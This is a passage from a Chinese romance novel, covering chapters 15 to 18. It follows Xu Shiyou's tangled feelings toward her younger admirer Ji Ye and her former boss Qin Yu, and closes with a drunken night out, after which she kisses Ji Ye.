“所以,弟弟你喜欢什么类型?”
“你刚刚……”刚刚明明喊的他名字,怎么又喊回弟弟了?好烦。
“嗯?”
“没有喜欢的类型。”他垂下眼睫。
看来是不想说的意思。
徐诗柚没打算再追问,却又听他接着继续说完:“我喜欢的人是什么类型,我就喜欢什么类型。”
他的目光再次落回她身上,带着点徐诗柚看不懂的情绪,似乎还有点隐隐的……期待?
有那么一瞬,徐诗柚都要怀疑这话是不是对她的什么暗示了。
要不是知道弟弟有暗恋的人,她铁定要自恋那么一下。
不过她第一次见季野的时候,他才上初一来着?两人都没怎么接触过。
再次见面处了也没多久,听他的说法,暗恋的那人,应该不是最近才暗恋上的,怎么想也不可能是她。
被盯得有些不自在,她挪开视线,笑道:“这么说是不是太不严谨了?万一对方不是个好女孩呢,你也喜欢?”
“喜欢。”他回答得毫不犹豫。
徐诗柚眉轻挑了下,不太信:“万一她是那种绿茶白莲花的类型呢?”
季野想了想,回:“那肯定很可爱。”
“……”
“那她要是人前装得一副善良温顺,实际背后挺坏的呢?”
徐诗柚要和他杠上似的,非要列举出一个他无法接受的类型。
“如果她坏,那也肯定是别人先对不起她。”
救命!
“……虚荣拜金?”她再试探。
“这简单啊,赚钱满足她就是了。”
“……那她占有欲爆棚,天天查你手机,不准你和异性接触,看一眼都不行,成天疑神疑鬼,还给你手机装监控,甚至要把你绑在家里不让出门,心理扭曲呢?”
“真的?”季野眼睛都亮了,“那她肯定很爱我!”
徐诗柚不死心:“那她一边吊着你,一边又和别的男人暧昧,脚踏几条船,把你当鱼养呢?”
季野脚步顿住,沉默了。
哼!终于说到一个他不能接受的了吧!
说什么喜欢的人是什么类型,就喜欢什么类型,怎么可能?
那太理想化了。
“没事,我年轻。”他突然说。
徐诗柚:“?”
“我熬死其他鱼。”
“……”
徐诗柚服了,扶额:“弟弟,你恋爱脑啊?”
季野默了会,反问:“姐姐不是吗?”
徐诗柚答不上了。
她好像确实也没什么资格说人。
“那姐姐你,喜欢什么类型?”
没想到还会被反问。
喜欢的类型吗……
徐诗柚张了张嘴,一时有些回答不上来。
“我猜猜吧?”季野兀自走着,声音低低的,似乎风一吹就散。
但却清晰,“我猜姐姐应该喜欢那种,成熟,理智,不容易被感情左右,情绪稳定,且工作能力很强的人吧?”
他每说一个,徐诗柚的心都跟着跳一下。
因为在他的描摹里,秦聿的身影逐渐清晰,仿佛这些词都是为他量身定制的,至少表面是。
徐诗柚几乎都要怀疑季野是不是知道些什么了,还是说,季薇和他说过些什么?
又觉不可能,季薇不是那种随便把她的事说出去的人,哪怕是她的家人。
“我猜对了吗?”季野又停了下来,在等她,“姐姐?”
徐诗柚被他问住了。
秦聿,是她喜欢的类型吗?
她确实迷恋过秦聿很长一段时间,但那很正常。
同事也说过,爱上秦聿,就像呼吸那么简单。
他成熟理智,长得帅,有钱,还有品位,工作中强势又有魄力,是个非常有魅力的男人。
被他吸引是再正常不过的事了,尤其是像她这种初入职场还不谙世事的菜鸟,头回就遇上这种样样都出众的上司,很难不沦陷。
不过同事还说,爱上他很正常,和他能处下去的才是神人,毕竟他是嘴真的毒,对谁都毫不客气的。
当时她的室友还说,能被他指点,骂骂也值得了,毕竟这种能教你成长,助你升职加薪的领导,这辈子都未必能遇上一个,遇到就该偷笑了,看在钱的面子上,再毒舌也承受得住。
徐诗柚当时也听进去了她的话。
但是作为真的被他那张嘴毒了三年的人,作为被他教成长,提拔加薪还升职的人,她真的快乐吗?
在京市那三年,她收获的除了升职加薪和成长,似乎就只有无尽的内耗了。
她总是执着于获得他的肯定,他的夸奖,但他从不给她,于是她陷入了反复的自我怀疑和自证中。
“这个嘛~”徐诗柚转身继续往前走着,故意拖长了语调,“可能曾经是吧,不过我现在喜欢的类型变了~”
被留在原地的季野愣了一瞬,随之快步跟了上去。
“什么意思?”他脚步有些急,情急之下居然伸手拽了她,“所以姐姐现在喜欢的类型是?”
徐诗柚被迫停住,稍有些诧异地望向他拽住自己的手。
季野也反应过来自己的行为有些鲁莽了,立马松了手。
“抱歉。”
徐诗柚却眯了眼,直勾勾地看着他。
季野被她盯得毛毛的,有种心思要被看透的无措感,下意识想躲避她目光。
徐诗柚往弟弟的方向靠近了一步,原本就不远的距离,随着她这一步,两人几乎都要贴到一起了。
季野呼吸都滞了下,艰难地忍住了想要后退的冲动。
徐诗柚始终仰头凝着他,唇角轻轻勾起,语调悠慢,带着点勾人的慵懒:“弟弟为什么这么关心姐姐的喜欢的类型啊?”
街上的车声,人流声似乎都在这一刻远去,季野的耳边此刻只剩下自己强烈的心跳声,咚咚,咚咚,一下又一下。
“我……”他眉睫缓垂,正欲开口,下一秒,却在余光捕捉到一抹横冲过来的电动车时,瞳孔骤然放大。
“姐姐小心!”他动作很快地一把扯过徐诗柚,一个反身,把她护在了身前,堪堪和那疾驰而过的电动车擦过。
差一点,就要撞上她了。
徐诗柚此时脑子都是懵的,整个人被季野高大的身躯裹着,还有些惊魂未定。
她有些后怕地收紧了虚虚搭在他背上的手。
“姐姐,你没事吧?”那电动车已经跑了,差点撞了人也没道歉。
季野没放开手,察觉到怀里人的一丝受惊,反而抱得更紧了些,手无意识地抚着她后脑勺,一下一下地安抚。
应该放手的。
但喜欢的人就在自己怀里,温香软玉满怀,季野有些舍不得放开。
徐诗柚也有些贪恋此刻的拥抱,也假
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借没缓过劲,赖在弟弟怀里一会。
她怀疑自己是不是空窗久了,怎么一个拥抱都能让她这么依赖。
两人就这么心照不宣地站在街头拥抱了好一会,谁也没有先出声打破。
“现在的年轻人啊,啧啧,大街上搂搂抱抱的也不知道收敛……”
有个大爷路过,没眼看地扫了他们一眼,啧啧出声。
闻言,两人皆是一震。
徐诗柚顿感脸上烧得慌,脑袋都羞得往弟弟怀里埋了埋。
只要看不见她的脸,丢脸的就不是她!
等那位大爷彻底走过之后,两人才慢慢松开了对方。
季野从耳廓到脖颈也都是红的,不过徐诗柚自己都躁得慌,没好意思抬头看他,也没注意。
“刚刚……谢了,我、我们走吧。”
“好……”
回程的路上,两人没再说过一句话,甚至连眼神交流都没有。
至于那喜欢什么类型的话题,早抛到脑后了。
-
回家后,两人都各自回了房,一下午都没出来。
徐诗柚把工具都弄到了季薇房里,下午都在直播,直到快晚上的时候,收到了秦聿的信息。
【下飞机了,等会见。】
她抿着唇,不想理会。
但秦聿不是那种爱没事找事的人,这么忙还特意飞来A市,说有事找她,那就应该是真的有事。
徐诗柚最终还是放下了手中的工具,收拾一番出门。
她换回了成熟些的装扮,妆容也重新收拾了一遍,非常用心地打扮了一番。
她才不想在秦聿面前表现出半点逊色,让对方逮到机会嘲她。
临出门的时候,想到季野可能会来找她吃晚饭,她觉得还是交代一声比较好。
她去敲他门。
季野很快来开了门。
开门看见她的第一眼,季野就愣了。
对方明显是要出门,从头发丝到脚,都精致打扮过。
“那个,弟弟,我有事要出门,晚饭就不回来吃了,你自己要记得吃哦。”
季野的视线,不自觉端量过她全身。
很漂亮,非常漂亮。
之前她每次精心打扮的时候,他都不敢多看一眼,怕自己会忍不住一直盯着她看。
但现在,他的视线却一点没避讳。
仿佛想透过她的这份用心,看穿她的想法。
有股不详的预感在心底隐隐冒头:“是和谁约了吗……”
徐诗柚眼神莫名有些闪避:“嗯,约了朋友……”
“谁?我认识吗?”
“不认识。”
“男的女的?”
他没控制住。
果然,徐诗柚抬头,奇怪地看了他一眼,目光探究。
季野迅速避开她目光:“姐让我好好照顾你,我怕你不安全……”
“你大概什么时候回来?”
说到这,又欲盖弥彰地补了句:“晚上你一个女孩不安全……”
还是这么漂亮的。
徐诗柚笑笑:“不用了,是熟悉的朋友,不会不安全的。”
但弟弟连这种细节都注意到,徐诗柚还是感谢的,她拍拍他肩:“但还是谢谢弟弟的关心了。”
“那我先走了,你自己要记得吃饭哦!”
……
随着门“砰”的关上,屋内只剩一片死寂。
始终注视着门方向的黑眸一点点沉了下来。
出于男人的直觉,季野觉得,徐诗柚要见的人,或许就是她心里的那个……
说什么喜欢的类型变了,骗人。
不喜欢,为什么见他还要打扮得这么漂亮?
16. 关照
秦聿选的地方,一如既往的高级,有格调。
徐诗柚没有像以前一样,怕他等,总要提前些比他早到。
她甚至故意迟到了5分钟。
到的时候秦聿已经等在那了。
他坐在靠窗的位置,指尖轻叩着桌面,面前摆着份菜单。
一身纯黑的高定西装,没有系领带,内搭的衬衫解开了最上方的一颗纽扣,露出半截清晰的锁骨,衬得身形愈发挺拔修长。
他眉眼疏淡,只是随意靠在那,都透着股矜贵。
徐诗柚在他对面落座。
秦聿看到她的第一眼,笑了,视线上上下下地扫过她:“行啊,都会玩迟到这一招了。”
“你知道我讨厌不准时的吧?”
徐诗柚慢慢端起水杯抿了一口,不急不缓地出声:“等不及,你可以走啊。”
秦聿当然不是那么容易被她激怒的人,甚至觉得她现在这样朝他亮出爪子的样子有些可爱。
在意,才会有情绪。
“这么冲?”
徐诗柚懒得理他,直奔主题:“说吧,找我什么事?”
秦聿把菜单调了个方向,推过去:“先吃饭吧,我已经给你点了一部分,你看看还有没有想吃的。”
“我不饿,赶紧说完我好赶紧走。”
“我饿。”他撩了下眼皮,朝她看去,“下午见完合作方就马不停蹄地赶去机场了,到现在还什么都没下肚呢。”
两人不动声色地僵持了会。
终是徐诗柚先败下阵来,她接过菜单,挑着贵的都勾了一遍,泄愤似的。
秦聿好笑地看着她瞎乱钩的样子:“你确定点这么多能吃完?”
“吃不完我打包。”
“来这里吃东西的没人会打包。”
“那我就做那个特殊的。”
“……”
行,现在是什么都要和他杠。
-
上菜的时候,徐诗柚就开始有些心虚了。
点太多了,等她吃饱,这菜都还没上完。
后来还是秦聿和服务员交代了声,让剩下的都打包,才没再端菜上来。
可惜,再贵也吃不穷他。
“好了,现在吃饱了,可以说了吧?”
秦聿也没磨蹭,自手边拿过一份文件,推到她面前,文件上印着A市有名的活动策划公司LOGO。
“这家公司最近在招一个能扛全案的资深策划,你去试试,我已经和对方打过招呼了。”
“下周就去面试,职位和薪资,都不会比你以前低。”
不是推荐,而是一种既定安排,带着他惯有的命令方式,干脆利落地替她定了个去路。
冒昧又强势,但徐诗柚还是可耻地心动了。
以这家公司的竞争激烈程度,她想正经通过面试进入这家公司,是很难的,秦聿却堂而皇之地给她开了后门。
这机会,是多少人抢破脑袋都挤不上的。
见她动容,秦聿难得的没有泼她冷水,又或许是清楚她性子,故意给她递台阶。
“你是我带出来的,我很清楚,以你的能力完全可以胜任,不过是需要一个表现的机会罢了,没必要因为是我推荐的而排斥。”
“这家公司在A市算得上是数一数二,资源稳定,薪资和福利也都不差。”
“就算你以后想单干,也可以借着平台先积累资源。”
“你不想回京市,我不会强迫你,那是你自己的选择,但如果你要留在这,总要积累在本地的人脉资源吧?”
听着他的话,徐诗柚从一开始对工作的心动,到后来,慢慢的,就一副见鬼的表情。
她不是很能理解他的行为,诡异道:“你……该不会是突然对我产生了什么愧疚心理,在补偿我吧?”
“想什么呢?我不觉得自己有什么对不起你的,为什么要愧疚?”他嗤笑一声,不以为然。
“那三年,我们不过各取所需,不存在需要对对方感情负责的情况。”
熟悉的调调,也是,他怎么会愧疚,他做什么都是对的,要错也是她错。
她越界了,需要对自己感情负责的人是她,和他有什么关系。
“嗯,所以你这是做什么?”
“你就当,是我不想看到人才被埋没吧。”
噗嗤——
徐诗柚没忍住。
秦聿轻扬了下眉。
“秦总,你怕不是忘了自己以前都是怎么骂我蠢的了吧?”
秦聿当然没忘记。
刚进公司的时候,确实觉得她又蠢又没眼力见,做事还毛毛躁躁的,总在些小事上出问题,好几回都被她蠢到想直接把人给炒了。
当着众人的面,毫不留情劈头盖脸批她的情况也没少过。
每次都被骂得红着一双眼快要哭出来了的样子。
有些脆弱点的被他这么骂,第二天都忍不住要来递辞呈了,但她没有。
他骂得再凶,她第二天都会把改好的方案重新递上,把犯下的错想尽办法弥补,解决,不会推卸,也不会后退。
大概也是那个时候起,秦聿才开始慢慢关注到她的。
“你也说是以前了。”秦聿顿了会,少有地给出肯定,“现在不是了。”
徐诗柚蓦地一怔,敛了些笑意。
居然因为他的这点小小肯定,都快感动到哭了。
眼睛都泛了层酸意。
真可笑。
她没有矫情地推脱,收下了文件,认真回:“行,那就谢谢秦总的关照了,我会考虑的。”
-
“宝贝,我回来了!surprise!”季薇的声音从手机那头兴奋传来。
徐诗柚举着的手微顿:“回来了?怎么没提前说?”
“刚回到市里!你在哪呢?我来找你吧?”
“你什么时候的飞机?早说我就去接你了……”
“行了,大晚上的,我也不想你跑来,要不今晚去深海吧?去放松下?”
“你这才回来,就往酒吧跑?”徐诗柚无语,不知道该说她精力旺盛还是什么,“不累吗,还是先回家休息吧……”
“nonono,这对我而言就是放松!你都不知道我这一周是怎么过的,一点私生活都没有!我已经好久没摸到过帅哥的腹肌了……”
徐诗柚笑了:“你这到底是去工作,还是去修行啊?”
“和修行也没差了,还有我爸,居然想给我安排联姻,我命怎么这么苦啊!”
“我寻思着这样不行啊,那不得趁还是自由身之前,赶紧多找几个帅哥玩玩?”
“好!就这样愉快地决定了,等会深海见!”
“……”
“打完了?”
秦聿抽了支烟回来,见她打完才走近:“等会去哪?送你?”
“不用了,我开车过来的。”
“哦,那你送我吧。”他无所谓道,“我没开车。”
“?”
“这么看我做什么?你看我在这像有车的吗?”
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“那你说什么送我?”
“随口说说,反正你也会拒绝。”
“……”有病吧这人。
徐诗柚最后还是让他上了车,好歹刚宰了人一顿,这顿饭吃掉了他五位数呢,虽然对他而言不痛不痒的。
不管怎么说,冲着对方专程来给她开后门的这心意,她要这都拒绝,多少显得有些白眼狼了。
“住哪?”她没好气地问。
秦聿没答她,“刚给你打电话的,季薇?”
秦聿是认识季薇的,在京市那会,季薇隔三差五来找她,几人还一起吃过几次饭。
他也知道徐诗柚会选择来A市,也是因为好姐妹在这。
“嗯。”
“找你做什么?”
“玩。”
“所以你们准备去哪玩?”
前面红灯,徐诗柚故意猛踩了下刹车。
缓缓偏过头来看副驾的人:“跟你有关系吗?”
“问问也不行?”
“不行。”
“肯定不是什么正经的地方。”秦聿轻嗤了声。
季薇这人他接触过几次就知道了,很爱玩的一人,不是什么安分守己的乖乖女类型,本身也有能力有背景,他有时都不明白这两人是怎么玩到一起的。
他其实不太喜欢徐诗柚跟她玩一起,在京市那会,每回来找徐诗柚,就爱带她往夜店酒吧的跑。
主要这人还没少在徐诗柚面前蛐蛐他,各种给徐诗柚洗脑,天下男人多的是不缺他一个之类的。
秦聿自然是不爱听的。
虽然他觉得她确实比徐诗柚聪明多了,也足够清醒。
秦聿自己也知道,他不会爱人,季薇有句话骂得他没错,他就是个精致的利己主义罢了。
他明知道徐诗柚可以有更好的选择,找更懂得对她好的人,却视而不见,仗着她的喜欢有恃无恐。
“你到底要去哪啊?”徐诗柚见他还没回答这问题,不耐地又问了一遍。
“你去哪,顺路把我送去就行。”
“嗯?”
“我在附近找个酒店睡。”
“你没提前订?”
“没有。”
徐诗柚无语,只好带着他一起往酒吧的方向去,不过她没真开到酒吧才把人放下,而是在那附近找了家五星酒店。
车停在门口的时候,徐诗柚的手机又响了。
以为是季薇在催她,垂眼一看,竟然是季野打来的。
她没想太多,直接接了。
“喂?”
没有声音,徐诗柚奇怪地拿下手机看了眼,没错啊,在通话中。
她又喂了两声,电话那头才传来细微的呼吸声。
“姐姐。”低低哑哑的男声从手机那头传来,裹着细碎的电流杂音,轻轻刮过耳廓,泛起一阵酥酥麻麻的痒意,好听极了。
光是听声音,徐诗柚都恍了几秒神。
声音不觉放柔:“嗯?怎么了?”
“你吃完了吗?用不用我去接你?”
这弟弟是不是也太贴心了点?怕她晚上一个人在外面不安全,都要来接她了?
“吃完了,但薇薇回来了,她跟你说了没?我等会还要去找她。”
“回来了?”他停顿几秒,应声,“她没说,那你们现在是要……”
“这附近……你们这是要去酒吧?”不知道为什么还赖在车上没走的秦聿,扫了眼当下位置,突然出声。
电话那头的季野,骤然止住了声。
17. 寻欢
听见手机那头传来的男人声音,季野握着手机的指关节顿住,呼吸沉了下去。
眼睫慢慢垂下,安静听着。
徐诗柚翻了个白眼,轻捂住听筒:“你怎么还不下车?”
“真不跟我上去?”秦聿勾了下唇,故意道。
“你有病吧?”
徐诗柚骂完,赶紧又接上电话:“先不说了,我等会去找薇薇,我没事,很安全,放心吧。”
季野只回了声“好”便没再多说什么。
电话挂了后,秦聿才轻嗤出声:“姐姐?我怎么不知道你什么时候还多了个弟弟?”
原来他都听见了。
“刚认的,不行吗?”
“怎么,现在口味变了?喜欢这种毛都没长齐的?”
“那也比老男人好。”
“呵。”秦聿气笑了,开门下车,“那祝你今晚找到合适的弟弟。”
……
-
季野这边挂了电话后,立马给季薇打了过去。
“在哪?地址给我。”
“臭小子,姐都不会喊了是吧?说的什么玩意?”季薇一接电话便骂骂咧咧。
季野语气很急,没空跟她嘘长问暖的:“你现在在哪,快把地址给我!”
季薇那边的背景很吵,强烈的鼓点声和欢呼叫嚷的人群声交杂,看来是真跑去酒吧了。
“你姐我是出来玩的,干嘛要跟你交代?行了,别来碍事!”
说完,她很干脆地挂了电话,季薇才不顺着他意,就怕她这弟弟跑来管东管西地扫了兴,以前也不是没有过。
看着被挂断的电话,季野深吸了口气,没忍住,还是骂了句脏的。
“靠。”
-
徐诗柚赶来的时候,季薇连包厢都开好了。
包厢内人不少,男男女女的都有,主要还是女的多,大部分是季薇底下的女员工,跟着老板出来“寻欢作乐”的。
男的则多半是来看紧女朋友,防止女朋友色.迷心窍的。
毕竟季薇点了一溜模子哥,都排在上面跳舞呢,一个比一个跳得开放,时不时掀下衣服,顶顶胯什么的……
“柚子,过来这边!”季薇坐在里头,朝她招手。
徐诗柚过去,季薇给她倒了杯酒,然后两手一摊,倒在了沙发背上,懒洋洋的。
“你不知道,去京市的这周我真的累死了,忙得压根没时间出来玩。”
“本来就是不想被我爸管着才跑到分部这边干的,现在三天两头就把我支使过去。”
“这次更离谱,说要带我去见下朋友,结果暗地里是在给我张罗着相亲。”
季薇积攒了一周的怨气,在看见好闺蜜后彻底释放。
两人经常打视频,这些事,徐诗柚之前就多少听了些,她问:“那相亲对象怎么样?”
“这是重点吗?”季薇翻了个白眼,“关键是,我还没想这么英年早婚啊!”
“不重点吗?长得帅的话也不是不能考虑下?”徐诗柚颜控,觉得这很重要。
季薇不自然地咳了声:“其实,还行……”
“有情况?”徐诗柚勾出个意味深长的笑。
“有屁。”季薇直起身,闷头喝了口酒,啧啧道,“与其牺牲我自己,不如送季野那小子去和亲算了,你觉得呢?”
徐诗柚笑容更深,也端起酒杯抿了口:“他好像,还没到和亲年龄吧?”
“那就再养个两年。”说着,她又看向徐诗柚,眯了眯眼,“不过要是我的好姐妹看上的话,那还是牺牲我吧!”
“说什么牺牲不牺牲的,要真对对方很不满意,我不信你会同意。”徐诗柚不接她话茬。
“哈哈,其实对方看着也还行,就是我现在确实还没什么结婚的想法,我都还没玩够呢……”
“对了,说起这个,我陪我爸出席宴会的时候见到秦聿了,我才知道,原来我爸和他家里人关系还挺熟的。”
徐诗柚抿起了唇,沉凝半晌才缓缓道:“我刚才,才见过他。”
季薇瞪圆了眼:“他又跑来了?来找你的?”
“应该是吧。”
“找你做什么?”
徐诗柚从包里拿出秦聿给她的文件,递给了季薇:“介绍工作?”
她又把秦聿约她吃饭和给她介绍工作的详细经过给季薇说了遍,季薇听完,一脸吞了苍蝇的表情。
“他到底想干嘛?这是在向你示好吗?”
徐诗柚轻叹了口气,捧起酒杯灌完,摇头:“不知道。”
“那你怎么想?说实话啊,虽然不想承认,但他介绍的这工作含金量很高啊,确实是用心了的,你要是动心了,我也能理解。”
“嗯。”
“所以你要去吗?”
“不知道,再说吧。”
“……”
两人陷入了短暂的沉默,季薇明显感受到了闺蜜内心的动摇,但关乎工作的事,她也不好多说什么。
她私心其实是一点不想徐诗柚再和秦聿有牵扯的。
她作为两人关系一路过来的见证人,真没觉得徐诗柚在这段感情里有多快乐,反而变得敏感,不自信,患得患失,一点都不像她。
“其实他,除了不会好好说话之外,对我还是挺好的。”过了许久,徐诗柚低缓出声。
“在京市的那几年,如果没有他指点,我不会成长得那么快。”
徐诗柚指尖摩挲着杯身,低垂眼睫,目光没什么焦距:“他每次说话都很难听,但我在公司被打压,被陷害,被甩锅的时候,他嘴上骂着我蠢,但背后默默帮我摆平一切的也是他。”
一看她恋爱脑的病又犯了,季薇忍不了了:“他那只是不会说话吗?那根本叫不尊重人!”
“说好听点叫嘴硬心软,但他尊重过你吗?”
“他没有,因为本质上,他就是看不起你。”
“我承认,他给过你很大的帮助,你有现在的能力,很大部分是他成就的。但是,你有没有想过,语言暴力,它也是一种暴力。”
“他说的话如果让你难过了,那么你受过的伤害就是实实在在的!柚子,毒舌和嘴硬心软这些词不是挡箭牌,不是给他洗白用的。”
“你真的觉得他是不会爱人不会尊重人?天生如此吗?那他对温念,对他欣赏的那些女下属,愿意付出时间和精力给对方,不是尊重是什么?他只是不会尊重你而已。”
“成年人了,玩什么爱而不自知,不觉得可笑吗?那不是爱而不自知,那叫权衡利弊,叫自私自利。”
“他可会了,一边觉得你配不上他,一边对你又充满占有欲的不想放你走。”
“你知道为什么吗?因为你最听话,最好掌控,也最能包容他那贱脾气!这舔狗,你不当谁能当!”
“我说话难听。”季薇
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猛地又灌了一杯,说得火气都上来了,“但我想你明白。”
“说实话,和他一起后,你变得一点都不像你了。”
“和他相比,你是出生,背景什么的都没他高贵,但和我认识的时候,我们之间的差距不也很大?那会大家还总在背后拿‘大小姐’的称呼嘲讽我呢,但我们又为什么能做这么多年的朋友?”
“那时候的你,很自信,很耀眼,从来也没有因为我们之间的差距而觉得不配和我做朋友,不是吗?”
“那现在又为什么要在他面前觉得不自信,不配?”
徐诗柚沉默着低头,一言不发,麻木地灌酒。
“不说这个了,我不想又因为他和你吵。”季薇突然重重放下酒杯,把徐诗柚一把揽过来,脸掰向正在掀衣服露腹肌的模子哥们。
“姐妹我今天是找你来享乐的,帅哥我都点这么多了,你给我睁大了狗眼多看看,别浪费我的钱了。”
然后她朝其中一个打了个响指:“你,过来!把我闺蜜哄开心了,有赏!”
……
-
季野找到包厢的时候,里面的人都已经喝得不知天地为何物了。
桌子前排了八个男模,踩着鼓点跳得正嗨,那腰那胯,摆得可卖力了。
季野眉头快拧成疙瘩,他就知道,他姐就喜欢搞这些妖里妖气的。
季薇公司的大部分员工都见过他,对于他的出现也见怪不怪的,加上各个都喝得七荤八素,也没多少人理会他。
他越过这些人往里去,一眼便看到他坐在尽头的两位好姐姐。
喝得摇头晃脑,笑得傻里傻气,一看就喝大了的状态。
关键是他姐还抓着徐诗柚的手往一个男人身上去,嘴上叫嚷着:“摸这,摸这!脸有什么好摸的!”
徐诗柚面前正跪着个真空穿白西装的人,胸膛露了大片,眼睛蒙着黑色的蕾丝带,徐诗柚的手正挑着对方下巴,眼神迷离。
跪着的男人却握住她的手腕,带着她的手往下,声音夹得不行:“姐姐,不试试这里吗?”
季野脸色唰地一下沉了,下颌线蹦得发紧。
他长腿两步过去,啪地就把那男人的手拍掉,周身寒气直冒:“滚!”
随着他这声怒吼,震耳的音乐和喧闹的人声都仿佛顿了半拍。
但很快,这气势就被两个醉鬼打散了。
季薇抬头,歪着脑袋:“哦~是弟弟啊~”
徐诗柚也抬头,歪着脑袋:“哦~是弟弟啊~”
季野:“……”
两人眼神都没什么焦距了,身子也软软地东倒西歪地坐着。
“没事,是我弟,你先退下吧。”季薇朝刚被季野拍开了的模子哥挥了挥手。
“没事,是我弟,你先退下吧。”徐诗柚继续鹦鹉学舌,连挥手赶人的动作都一模一样。
季野看得头都大了。
转动着脑袋找到季薇助理,助理就坐在另一边,举着手机挥了挥,又朝他比了个OK的手势。
季野就是通过助理才知道季薇的所在地的,刚在电话里已经交代过了,这会就是要来把两个醉鬼接走。
在助理的帮助下,季野总算把两醉鬼塞进了车里。
他递了张卡给助理,交代道:“等下用这张卡结账就行,里面结束后给他们喊代驾,确保把所有人都安全送回去。”
“好的,小少爷。”
18. 酒后
季野是把季薇扛回卧室里的,还看她耍了好一会酒疯。
嘴里一直骂骂咧咧着什么狗男人不值得。
安置好季薇后,他出了房,准备把另一个醉鬼也弄到床上。
他一手带一个,回来连开灯的功夫都没有,这会大厅陷在一片黑暗里,只有落地窗外的灯火和清辉月光漫进来,淡得像一层薄纱。
沙发中央,徐诗柚歪靠在软垫上,双目紧闭,发丝凌乱地贴着泛红的脸颊。
“姐姐?”他走过去,俯身,声音轻柔,完全不似刚才对待亲姐时的粗暴。
“姐姐,外面凉,我抱你回房吧?”不确定她还能不能听得进话,他试探性询问。
徐诗柚怀里塞了个抱枕,听见声音,只是眉眼略显不耐地哼唧了两声,小猫似的。
季野轻叹了声,手小心翼翼地穿过她的背和膝弯。
正准备起身时,怀里的人却倏然睁开了眼。
两人的目光在黑暗中对接上。
徐诗柚的目光有些呆滞,直愣愣地瞪了他好一会后,眼里逐渐染上了笑意,紧接着,手指轻挑地勾上了他的下巴:“哦~薇薇点的这个怎么这么好看?真是我的亲亲好姐妹~”
一句话,就给季野气笑了。
他不想管她了,抽回手,要走。
徐诗柚一把拽住了他,往沙发带。
也不知道她喝醉了哪来那么大的牛劲,季野没防备,就这么被她给拽了下来,摔在了沙发上,头还和对方的磕在了一块。
嘶——
他都磕疼了,第一反应就是去关注徐诗柚的:“姐姐,你没——”
话还没说完,一道黑影罩了上来。
不知道是不是醉酒连痛感都变钝了,她压根没觉得痛,第一时间居然一个翻身,跨坐到了他腿上,手还圈住了他脖颈。
白色的裙摆簌簌摊开。
季野整个都僵住了。
“走什么走?还要不要钱了?都让你哄我开心了!”
季野没有任何反应。
“哄人~懂不懂什么叫哄人啊~嗯?”徐诗柚掐着他的脸,含糊酒音瓮声瓮气的,像个小霸王。
季野眼睫颤了颤,看住近在咫尺的人,喉结不觉翻滚,眼神不自在地飘向一边。
半晌,他找回自己的声音:“姐姐不开心吗……”
“不开心!不开心!”她一字一句地说着,抱住他,在他腿上歪歪扭扭地摇头晃脑,带着季野都跟着晃了起来。
“为什么?”怕她摔下去,季野也只敢虚虚环住她。
“唔……”徐诗柚晃够了,整个懒懒地趴到他肩头,丧失思考能力地说,“不知道……”
她的呼吸带着清浅的酒气喷洒在季野颈侧,毛茸茸的脑袋无意识地在他身上蹭着,季野只觉脑子里都在嗡嗡作响,酥麻感丝丝缕缕地漫过全身。
“姐姐,你先起来……”他声音隐忍,动也不敢动,呼吸都乱了。
徐诗柚当没听见。
她脸颊贴在他温热的衬衫上,酒意昏沉间,微抬了眼,视线恰好落在他线条利落的下颌线。
她指尖带着几分酒后的绵软,抬起,轻轻贴上他的脸颊。
指腹先蹭过他微凉的眉骨,又顺着锋利的线条往下滑,感受着那一点细微的紧绷。
接着滑过他高挺的鼻梁,一路往下,描摹过他的唇,而后在上面停留,轻轻摩挲。
身下的人,似乎连呼吸都没有了,浑身硬邦邦地僵直。
目光所及,那锋利喉结滚了滚,在黑暗里带出清晰的吞咽声。
“姐姐……”季野的嗓音里藏着一丝不易察觉的颤意。
“你真好看。”她的手又抚上他的喉结,带着点痴迷的愉悦感,“怎么这么好看?我好喜欢啊~”
季野眉眼垂下,小心翼翼地询问:“姐姐说的是,喜欢我吗?”
“唔~”徐诗柚又在他肩上拱了两下,似乎是因为酒意而有些难受,声音懒懒绵绵的,“喜欢……”
季野唇角都还没来得及扬起,就听见她的下一句——
“对了,给摸吗?”
“?”
“给亲吗?”
“??”
他脸唰地黑了,很好,还在把他当男模呢。
“怎么不说话?给不给嘛~嗯~?”她支起身子,软绵绵地质问。
“不给。”他语气硬邦邦的。
“不给?真小气~”她又趴回去,语气蔫蔫。
就在季野以为她终于不再胡说八道的时候,她又戳了戳他胸口,已经没什么气力折腾的样子。
“给嘛,给摸摸……摸摸……”她声音断断续续的,还含糊,好像随时都会睡过去,“摸摸……ji……”
???
季野眼睛瞪大,瞳孔发直,怀疑自己耳朵出了错。
她刚说什么?摸什么??
徐诗柚又重复了遍:“摸摸ji……”
“????”
“腹肌……”
“……”
操!
“到底给不给呀~”她搂住他,在他腿上又晃了晃,撒娇的语气,整个人都软绵绵地贴着他。
季野只觉浑身气血都在往下涌,完全坐不住了。
“姐姐,要不你先下来……”他窘迫出声,下意识身子往后躲。
“不要。”她伸手掐住他脸两侧,“不让摸,那给亲?”
季野呼吸滞了下,但还是有些赌气地把她手拿下:“不给。”
他突然就有些沮丧:“姐姐,你到底知不知道自己在干嘛啊?”
“又知不知道,我是谁啊……”后面这句话他声音压得很低,更像是在自言自语。
“知道就给亲吗?”她歪靠在他身上,懒懒反问。
季野垂着脑袋不说话,反正她现在连他是谁都分不清。
“我知道啊~”她圈住他脖颈,支起了些身子凑近他耳廓,用气音说,“你是弟弟嘛~”
季野抿着唇,还是不说话,刚刚那些男模不也喊她姐姐?谁知道她说的是哪个弟弟?
“是~阿~野~”
她字句清晰地缓缓在他耳边道出名字。
季野瞳孔骤然一颤,猛地直起了身,双手扶住她肩把人从身上拉开,指节微微用力扣住她,目光紧锁住她依旧不太清明的眉眼。
他喉结滚动了下,连呼吸都放轻了,试图从她涣散的眼神里,辨出几分清醒的痕迹。
徐诗柚眼睛缓慢地眨着,歪着脑袋任由他端量。
“姐姐你……真的知道?”他有些不可置信。
徐诗柚嘿嘿笑了声,突然捧住他脸,凑近,鼻尖抵着他的鼻尖轻蹭,声线低缓暧昧:“所以,到底给不给亲呀~?弟弟~”
季野已经分不清她到底醉没醉了,耳边只剩自己心脏的狂跳声。
“不说话?那我当你接受啦……我亲了哦?”
季野睫毛颤了颤,依旧没回应。
直到唇上传来柔软潮湿的触感,他浑身的肌肉都随之绷紧。
起初,他像块木头一样,不会回应,也不会动。
